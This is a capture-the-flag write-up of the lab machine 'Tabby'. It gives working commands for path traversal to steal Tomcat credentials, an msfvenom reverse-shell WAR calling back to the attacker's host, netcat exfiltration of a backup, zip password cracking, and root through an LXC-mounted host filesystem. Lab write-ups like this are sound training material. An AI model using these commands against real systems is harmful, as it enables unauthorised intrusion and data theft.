This week's box is called Tabby. I got the chance to exploit a bug from the OWASP Top 10 list while also interacting with a new service - Tomcat. It was a pretty easy box, interesting to explore, but the path to root was very similar to Cache. Let's dig into the specifics.
Tabby - Technical Details

OS: | ![]() |
Difficulty: | Easy |
Points: | 20 |
Release: | 20 Jun 2020 |
IP: | 10.10.10.194 |
Synopsis
Tabby is an easy-rated Linux machine featuring a web hosting website. One of the pages was susceptible to path traversal vulnerability. Abusing this in conjunction with the Tomcat service exposed on the internet resulted in credentials exposure. Deploy a reverse shell inside the Tomcat instance using the stolen credentials opened a shell to the box. Cracking the password of a zip archive gave up the credentials to the user account. Finally, this user had the user group set to LXC. Escalating privileges using a container results in full system compromise.
Key techniques and exploits:
- Path Traversal
- CVE
- Password Cracking
- LXC Privilege Escalation
Enumeration
Starting with the classic enumeration using Nmap, I got three services running:
[email protected]:~$ nmap -sV -p- 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 00:10 EEST
Nmap scan report for 10.10.10.194
Host is up (0.058s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open http Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.25 seconds
- SSH Service on port
22
. - Web server running Apache on port
80
. - Apache Tomcat on port
8080
.
The website look like a web hosting service:
While the Tomcat installation is the default one:
Path Traversal
Navigating and enumerating the website, I stumbled upon an interesting page. news.php
had a parameter file
passed through the URL and included a document called statement
.
This page was a classic example of the path traversal vulnerability from OWASP Top 10 list - Broken Access Control. Replacing the actual document with an arbitrary file resulted in that file being shown right there. Moreover, I was also able to traverse directories, including the /etc/passwd
file with the following payload:
/news.php?file=../../../../../usr/share/tomcat9/etc/tomcat-users.xml
Now, it was time to expose some sensitive files. Something useful would be a set of credentials for the Tomcat service. Reading the official documentation, I learned that users are stored in a file located at $CATALINA_BASE/conf/tomcat-users.xml
. Moreover, the Tomcat page running on port 8080
showed that users are defined at /etc/tomcat9/tomcat-users.xml
. Combining these two pieces of information, I built the payload.
GET /news.php?file=../../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1
Host: 10.10.10.194
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
And the response from the server:
Initial Foothold - Java Reverse Shell
I obtained the username and password for the manager account, which has access to upload and deploy .war
files. This means I can execute code. I finally have an attack vector for RCE. A more detailed article on Tomcat vulnerabilities and exploits can be found here.
I built a Java reverse shell payload using msfvenom:
[email protected]:~$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.229 LPORT=4444 -f war -o pwn.war
Payload size: 13401 bytes
Final size of war file: 13401 bytes
Saved as: pwn.war
Then I queried the Tomcat manager upload URL and deployed the malicious file.
[email protected]:~$ curl -v -u tomcat:\$3cureP4s5w0rd123\! --upload-file pwn.war "http://10.10.10.194:8080/manager/text/deploy?path=/revshell"
* Trying 10.10.10.194:8080...
* TCP_NODELAY set
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/revshell&update=true HTTP/1.1
> Host: 10.10.10.194:8080
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 13401
> Expect: 100-continue
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 100
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Fri, 25 Sep 2020 22:55:30 GMT
<
OK - Deployed application at context path [/revshell]
* Connection #0 to host 10.10.10.194 left intact
Accessing the path of the malicious file and setting up a listener on my host created a shell to the victim.
[email protected]:~$ curl http://10.10.10.194:8080/revshell
[email protected]:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.229] from (UNKNOWN) [10.10.10.194] 53096
whoami
tomcat
python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/var/lib/tomcat9$
Privilege Escalation - Password Cracking
My first reflex was to enumerate the folder of the website, /var/www/html
. Here, I found a .zip
archive called backup.zip
. I transferred it on my host using netcat
, in order to analyze its contents locally.
I created a listener on port 4445, redirecting the output to a file.
[email protected]:~$ nc -lnvp 4445 > backup.zip
listening on [any] 4445 ...
connect to [10.10.14.229] from (UNKNOWN) [10.10.10.194] 41486
And started the transfer of the original file.
[email protected]:/var/www/html/files$ nc -w 3 10.10.14.229 4445 < 16162020_backup.zip
Unfortunately, the archive was password protected. I used fcrackzip
to crack the password, which turned out to be fast, and unzipped the contents.
[email protected]:~/tabby$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
PASSWORD FOUND!!!!: pw == [email protected]
[email protected]:~/tabby$ unzip -P [email protected] backup.zip
Archive: backup.zip
creating: var/www/html/assets/
inflating: var/www/html/favicon.ico
creating: var/www/html/files/
inflating: var/www/html/index.php
extracting: var/www/html/logo.png
inflating: var/www/html/news.php
inflating: var/www/html/Readme.txt
There was nothing interesting in the archive itself, but the password retrieved - [email protected]
- was also the password to the ash
account. Using su
to switch accounts, I got the user flag.
[email protected]:/var/www/html/files$ su ash
su ash
Password: [email protected]
[email protected]:~$ cat user.txt
cat user.txt
ff0xxxxxxxxxxxxxxxxxxxxxxxxxxx26
Privilege Escalation - LXC Group
Escalating privileges to root was pretty easy this time, having learnt from the Cache box how to use a container to achieve this. Only this time I had to use an LXC container instead of Docker, and also I had to create a Linux image myself, one not being available on the victim machine. A detailed articles on LXC privilege escalation can be found here.
First things first, I cloned a Git repository with a Linux Alpine (from here) image and built it:
[email protected]:~/tabby$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Unpacking objects: 100% (27/27), 15.98 KiB | 244.00 KiB/s, done.
[email protected]:~/tabby$ cd lxd-alpine-builder/
[email protected]:~/tabby/lxd-alpine-builder$ sudo ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
Downloading alpine-keys-2.2-r0.apk
Downloading apk-tools-static-2.10.5-r1.apk
[email protected]: OK
Verified OK
Selecting mirror http://alpine.mirror.wearetriple.com/v3.12/main
fetch http://alpine.mirror.wearetriple.com/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r11)
Executing openrc-0.42.1-r11.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
[email protected]:~/tabby/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20200926_1657.tar.gz build-alpine LICENSE README.md
Then, I started a simple python HTTP server to transfer the image:
[email protected]:~/tabby/lxd-alpine-builder$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.194 - - [26/Sep/2020 17:37:29] "GET /alpine-v3.12-x86_64-20200926_1712.tar.gz HTTP/1.1" 200 -
And downloaded the image on the victim machine:
[email protected]:~$ wget http://10.10.14.229:8000/alpine-v3.12-x86_64-20200926_1712.tar.gz
<4.229:8000/alpine-v3.12-x86_64-20200926_1712.tar.gz
--2020-09-26 14:50:57-- http://10.10.14.229:8000/alpine-v3.12-x86_64-20200926_1712.tar.gz
Connecting to 10.10.14.229:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3206553 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200926_1712.tar.gz’
alpine-v3.12-x86_64 100%[===================>] 3.06M 4.11MB/s in 0.7s
2020-09-26 14:50:57 (4.11 MB/s) - ‘alpine-v3.12-x86_64-20200926_1712.tar.gz’ saved [3206553/3206553]
I imported the new image into LXC:
[email protected]:~$ lxc image import ./alpine-v3.12-x86_64-20200926_1712.tar.gz --alias pwn
<lpine-v3.12-x86_64-20200926_1712.tar.gz --alias pwn
[email protected]:~$ lxc image ls
lxc image ls
+-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| pwn | 3917037e40ff | no | alpine v3.12 (20200926_17:12) | x86_64 | CONTAINER | 3.06MB | Sep 26, 2020 at 2:51pm (UTC) |
+-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
And initialized a new the container from the Alpine image:
[email protected]:~$ lxc init pwn pwn-container -c security.privileged=true
lxc init pwn pwn-container -c security.privileged=true
Creating pwn-container
[email protected]:~$ lxc ls
lxc ls
+---------------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------------+---------+------+------+-----------+-----------+
| pwn-container | STOPPED | | | CONTAINER | 0 |
+---------------+---------+------+------+-----------+-----------+
In order to get a root shell on the current system, I mounted the /
directory to /mnt/root
in the container as a device, and set the recursive attribute to true
, so the entire file system is accessible.
[email protected]:~$ lxc config device add pwn-container pwn-device disk source=/ path=/mnt/root recursive=true
<-device disk source=/ path=/mnt/root recursive=true
Device pwn-device added to pwn-container
Finally, I started the container and executed /bin/sh
, getting root and compromising the system.
[email protected]:~$ lxc start pwn-container
lxc start pwn-container
[email protected]:~$ lxc exec pwn-container /bin/sh
~ # ^[[76;5Rcd /mnt/root
cd /mnt/root
/mnt/root # ^[[76;13Rcd root
cd root
/mnt/root/root # ^[[76;18Rls
ls
root.txt snap
/mnt/root/root # ^[[76;18Rcat root.txt
cat root.txt
8faxxxxxxxxxxxxxxxxxxxxxxxxxxx47